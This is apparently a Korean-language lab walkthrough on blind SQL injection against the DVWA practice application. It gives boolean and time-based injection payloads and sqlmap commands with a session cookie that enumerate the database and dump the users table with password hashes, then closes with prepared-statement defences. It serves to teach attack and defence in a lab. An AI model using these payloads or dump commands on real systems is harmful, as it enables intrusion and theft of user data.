블라인드 SQL 인젝션 공격
- 일반 SQL과의 차이점은 앞에서 입력한 것처럼 1 입력 시 정보 출력이 아닌 사용자가 DB에 존재함만 알려준다.
- '를 입력하면 SQL형식 에러가 아닌 해당 사용자 ID가 DB에 없다는 메시지가 뜸
ㄴ 에러가 발생하지 않도록 하는 루틴이 구현되어 있음을 추측 가능
- 폼에 5까지 입력했을 경우 존재한다고 뜨지만 6은 존재하지 않는다고 함
ㄴ 비정상적인 값 혹은 없는 값 입력시 존재하지 않는다고 뜨는 것을 알 수 있음
- SQL문 공격실행 여부를 알아내기 위해 테스트
ㄴ 1' or '1'='1'# 혹은 1' AND 1=1# //데이터가 존재한다 뜨므로 처리되었음을 알 수 있음
- 혹시 모르니 확인을 한번 더 함
ㄴ 1' AND 1=2# //틀린 값을 넣었더니 데이터가 존재하지 않는다 뜨므로 공격이 처리됨을 확신
ㄴ low 레벨의 소스코드를 보아도 SQL문을 사용중임을 볼 수 있다.
ㄴ 위를 대입하면 SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'#
- AND연산을 이용해 입력값을 보낼 때 연산에 따라 결과가 달라진다면 블라인드 인젝션을 의심해야함
- "어떤 사용자가 사이트에 존재하나?"같은 명제를 제시하고 참,거짓을 알아낼 수 있음
- 이렇게 참거짓 결과 차이를 분석해 정보를 알아내는 기법을 블라인드 SQL인젝션 공격이라 함
ㄴ 위 사진처럼 메시지가 다른게 아닌 같은 경우에는 요청 응답 시간의 차이를 이용해 참거짓을 구별
ㄴ AND와 SLEEP키워드를 사용해 응답 딜레이를 줌
ㄴ 1' AND SLEEP(5)#
- 1. 응답시간을 확인하기 위해 F12 개발자 툴을 표시하고 네트워크 탭 선택
ㄴ 응답이 약 5초(5030ms)정도 걸린 것을 확인 가능
- 2. 틀린 값을 입력 해 응답 시간을 확인 > 6' and sleep(5)# <
ㄴ 응답 시간의 딜레이가 없음이 확인 가능함 (29ms)
ㄴ 6이라는 사용자는 존재하지 않음을 알 수 있음
ㄴ 조건이 참일 때만 SLEEP함수가 실행됨을 보아 참과 거짓을 구분할 수 있음
- 블라인드 인젝션은 일일이 쿼리문을 만들고 수많은 쿼리문을 실행해야 하므로 자동화 프로그램을 이용함
sqlmap 자동화 공격
- sqlmap -h를 통해 사용법, 옵션 확인 가능
- 자주 사용되는 옵션(SQL 인젝션 취약 여부를 알아낼 때 사용하는 옵션) -u : 필수 옵션, 공격 시도할 URL 지정 --cookie : 로그인이 필요한 경우, 로그인 후 발급된 세션 쿠키 값 지정 --data : POST 요청의 폼을 공격하고자 할 때 바디로 전달되는 데이터 지정 -p : 테스트할 파라미터 지정 --dbms : DB의 종류를 알고 있는 경우 지정(예. mysql)
- SQL 인젝션이 가능한 경우 데이터를 입수할 때 사용하는 옵션 --current-db : 현재 DB의 이름을 알아냄 -D : 데이터를 입수할 DB 지정 -T : 데이터를 입수할 테이블명 지정 -C : 데이터를 입수할 칼럼 지정 --tables : DB의 테이블들을 알아냄, 주로 -D옵션과 같이 사용 --columns : DB의 칼럼들을 알아냄, 주로 -D,-T 옵션과 같이 사용 --dump : DB의 정보들을 알아냄 |
- 1. URL을 알아내기 위해 실습 페이지에 있는 폼에 임의로 1입력 후 Submit 요청하면, 주소창에 URL이 뜸, 이 URL을 -u 옵션의 값으로 사용
ㄴ http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
- 2. 다음으로 쿠키 값 확인, 브라우저 개발자 도구(F12)의 콘솔탭에서 document.cookie 입력 시 확인 가능
ㄴ "security=low; PHPSESSID=160667880a3d61482f5e05e8f6d83a24"
- 3. 주소창의 URL을 -u 옵션으로, 쿠키를 --cookie 옵션으로 지정하여 명령어 구성
ㄴ sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie= "security=low; PHPSESSID=160667880a3d61482f5e05e8f6d83a24"
ㄴ 옵션 둥 &나 #가 있으면 명령어를 내릴 때 특수 기능 문자로 사용되므로 옵션 값을 따옴표로 묶어주어야 함
ㄴ 메시지의 중요도에 따라 색깔과 굵기가 다르게 표시되며, 중요 메시지일수록 더 눈에띄게 표시됨
ㄴ UNION 공격 실습을 통해 하나의 파라미터만 취약해도 모든 DB내용을 알아낼 수 있음
ㄴ 아래의 내용에서 ID파라미터가 취약하다는 것을 알게됨
- 4. 데이터베이스 이름을 알아내기 위해 --current-db 옵션을 추가
ㄴ sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie= "security=low; PHPSESSID=160667880a3d61482f5e05e8f6d83a24" --current-db
- 5. 데이터베이스 테이블 이름을 알아내기 위해 --current-db 대신 -D 옵션으로 DB이름 dvwa 입력 후 --tables 추가
ㄴ sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie= "security=low; PHPSESSID=160667880a3d61482f5e05e8f6d83a24" -D dvwa --tables
- 6. 사용자 정보로 추측되는 테이블 내용을 알아내기 위해 --tables 대신 -T 옵션으로 users 입력 후 --dump 추가
ㄴ sqlmap -u "http://192.168.0.7/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie= "security=low; PHPSESSID=160667880a3d61482f5e05e8f6d83a24" -D dvwa -T users -dump
- 추가 질문
ㄴ do you want to crack them via a dictionary-based attack? [Y/n/q] 는 딕셔너리 공격을 사용해 패스워드 해시를 크래킹할 것인지 묻는 것인데, 이 기능을 사용할 경우 N을 선택
ㄴ what dictionary do you want to use? 는 어떤 사전 파일을 사용할 것인지 묻는 질문으로 기본값은 1이고, 1 선택시 sqlmap에 내장된 사전 파일을 사용함
SQL 인젝션 공격 대응
- 시큐어 코딩 사용
- 쿼리문을 구성하고 실행하는 방법을 파라미터 쿼리로 변경
- 실습페이지의 Impossible code를 보면 prepare(), bindParam(), execute()를 각각 호출해 쿼리문 실행
ㄴ prepare()부분을 보면 미리 실행할 쿼리문의 형태가 있음(prepared statement)
ㄴ 사용자 입력값이 들어갈 id부분은 bindParam()에서 설정되도록 함(or나 UNION 사용불가)